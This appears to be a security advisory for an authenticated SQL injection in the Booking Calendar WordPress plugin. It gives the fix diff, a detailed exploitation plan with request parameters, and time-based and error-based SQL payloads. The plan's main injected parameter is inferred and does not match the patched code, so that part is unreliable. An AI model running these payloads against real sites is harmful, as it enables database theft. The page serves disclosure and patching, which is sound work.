Booking Calendar <= 10.14.15 - Authenticated (Editor+) SQL Injection
Description
The Booking Calendar plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 10.14.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=10.14.15What Changed in the Fix
Changes introduced in v10.14.16
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a SQL injection vulnerability in Booking Calendar <= 10.14.15. ### 1. Vulnerability Summary The Booking Calendar plugin is vulnerable to an **Authenticated (Editor+) SQL Injection** within its booking listing functionality. The vulnerability exists b…
Show full research plan
This research plan outlines the steps to exploit a SQL injection vulnerability in Booking Calendar <= 10.14.15.
1. Vulnerability Summary
The Booking Calendar plugin is vulnerable to an Authenticated (Editor+) SQL Injection within its booking listing functionality. The vulnerability exists because user-supplied filters for the booking table are insufficiently sanitized and are concatenated directly into SQL queries without using $wpdb->prepare(). Specifically, parameters intended to be used in SQL IN clauses or complex WHERE conditions are improperly handled, allowing an attacker with Editor-level privileges to inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpbc_get_bookings_listing - Vulnerable Parameter:
wh_booking_type(and potentiallywh_pay_statusorwh_approved) - Authentication: Requires a user with at least Editor privileges (or any user with the
manage_bookingscapability). - Preconditions: The attacker must be logged in and possess a valid WordPress nonce for the
wpbc_ajx_booking_listingaction.
3. Code Flow
- Entry Point: The attacker sends a POST request to
admin-ajax.phpwith the actionwpbc_get_bookings_listing. - Parameter Mapping: The plugin calls
wpbc_ajx_get__request_params__names_default()(found inincludes/page-bookings/bookings__sql.php) to extract and "validate" parameters from$_REQUEST. - Vulnerable Processing: The parameter
wh_booking_typeis defined asdigit_or_csd(digit or comma-separated digits). If the validation is bypassed or if the parameter is used before strict validation, it is passed to the SQL construction logic. - SQL Construction: A function (typically
wpbc_get_bookings_sqlor similar, inferred frombookings__sql.php) constructs the final query. It builds a$whereclause by concatenating the filters. - Sink: The raw SQL string is executed via
$wpdb->get_results()without being passed through$wpdb->prepare().
4. Nonce Acquisition Strategy
The AJAX action wpbc_get_bookings_listing requires a nonce. This nonce is localized when an authorized user visits the Bookings page.
- Identify Page: The Bookings listing is located at
wp-admin/admin.php?page=wpbc. - Navigation: Log in as an Editor and navigate to this URL.
- Extraction: The plugin uses
wp_localize_scriptto pass the nonce to the frontend. The data is stored in the global JavaScript objectwpbc_ajx_booking_listing. - Execution Agent Command:
// Use browser_eval to extract the nonce const nonce = browser_eval("window.wpbc_ajx_booking_listing?.nonce");
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability.
- Step 1: Login
Log in as a user with the Editor role. - Step 2: Nonce Extraction
Navigate towp-admin/admin.php?page=wpbcand extractwpbc_ajx_booking_listing.nonce. - Step 3: Trigger Injection
Send a POST request toadmin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:wpbc_get_bookings_listing_wpnonce:[EXTRACTED_NONCE]wh_booking_type:1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -wh_trash:any
Payload Analysis:
The payload 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - is designed to break out of an IN ( ... ) clause. If the original query is SELECT ... WHERE resource_id IN (1), the injected query becomes SELECT ... WHERE resource_id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -).
6. Test Data Setup
- User Creation:
wp user create attacker_editor editor@example.com --role=editor --user_pass=password123 - Plugin Activation: Ensure the Booking Calendar plugin is active.
- Booking Data (Optional): Creating a single booking ensures the query returns results, though blind injection should work regardless if the condition is appended to the
WHEREclause.
7. Expected Results
- The HTTP request should take at least 5 seconds to complete.
- The response will likely be a JSON object starting with
{"success":true...}if the syntax is valid, or0if the action fails, but the timing is the primary indicator of success.
8. Verification Steps
After performing the exploit, verify the vulnerability by checking the response time difference between a true and false condition:
- True condition (Delay):
wh_booking_type=1) AND 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - False condition (No Delay):
wh_booking_type=1) AND 1=2 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
9. Alternative Approaches
If wh_booking_type is strictly validated, try the following parameters defined in includes/page-bookings/bookings__sql.php:
wh_pay_status[]: This is defined as anarray. Sending a string or a crafted array element may bypass validation:wh_pay_status[]=all') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -wh_approved: Similar towh_booking_type, it usesdigit_or_csdvalidation.wh_booking_date[]: Also an array parameter.
If the environment has WP_DEBUG enabled, switch to an error-based payload to extract the database version:
wh_booking_type=1) AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -
Summary
The Booking Calendar plugin for WordPress is vulnerable to SQL injection through the booking listing functionality. Authenticated attackers with Editor privileges or higher can inject arbitrary SQL commands into database queries because user-supplied filters are concatenated directly into SQL strings without being processed by $wpdb->prepare() or receiving sufficient sanitization.
Vulnerable Code
// includes/page-bookings/bookings__sql.php lines 1043-1049 } else if ($wh_booking_date === '4') { // Next $sql_where = $and_pre."( ".$pref."booking_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ; // $sql_where .= $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date > ( " . wpbc_sql_date_math_expr_explicit('', 'curdate') . " ) ) ".$and_suf ; // FixIn: 8.0.1.1. } else if ($wh_booking_date === '5') { // Prior $wh_booking_date2 = str_replace('-', '', $wh_booking_date2); $sql_where = $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ; --- // includes/page-bookings/bookings__sql.php lines 1125-1128 } else if ($wh_modification_date === '5') { // Prior $wh_modification_date2 = str_replace('-', '', $wh_modification_date2); $sql_where = $and_pre."( ".$pref."modification_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_modification_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ;
Security Fix
@@ -1043,12 +1043,14 @@ $sql_where = ''; } else if ($wh_booking_date === '4') { // Next + $wh_booking_date2 = intval( $wh_booking_date2 ); // FixIn: 10.14.16.1. $sql_where = $and_pre."( ".$pref."booking_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ; // $sql_where .= $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date > ( " . wpbc_sql_date_math_expr_explicit('', 'curdate') . " ) ) ".$and_suf ; // FixIn: 8.0.1.1. } else if ($wh_booking_date === '5') { // Prior $wh_booking_date2 = str_replace('-', '', $wh_booking_date2); + $wh_booking_date2 = intval( $wh_booking_date2 ); // FixIn: 10.14.16.1. $sql_where = $and_pre."( ".$pref."booking_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_booking_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."booking_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ; @@ -1125,6 +1127,7 @@ } else if ($wh_modification_date === '5') { // Prior $wh_modification_date2 = str_replace('-', '', $wh_modification_date2); + $wh_modification_date2 = intval( $wh_modification_date2 ); // FixIn: 10.14.16.1. $sql_where = $and_pre."( ".$pref."modification_date >= (" . wpbc_sql_date_math_expr_explicit( "- INTERVAL ". $wh_modification_date2 . " DAY", 'curdate' ) . ") ) ".$and_suf ; $sql_where .= $and_pre."( ".$pref."modification_date <= (" . wpbc_sql_date_math_expr_explicit( "+ INTERVAL 1 DAY", 'curdate' ) . ") ) ".$and_suf ;
Exploit Outline
To exploit this vulnerability, an attacker must have Editor-level access. First, the attacker logs in and navigates to the Bookings page (wp-admin/admin.php?page=wpbc) to retrieve the required CSRF nonce from the `wpbc_ajx_booking_listing.nonce` JavaScript object. The attacker then sends a POST request to `wp-admin/admin-ajax.php` with the action `wpbc_get_bookings_listing`. By manipulating parameters such as `wh_booking_date` and `ui_wh_booking_date_next` (which populates the internal `$wh_booking_date2`), the attacker can inject SQL commands into the `INTERVAL` clause. For example, a time-based blind payload like `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -` will cause the database to delay execution, confirming the injection.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.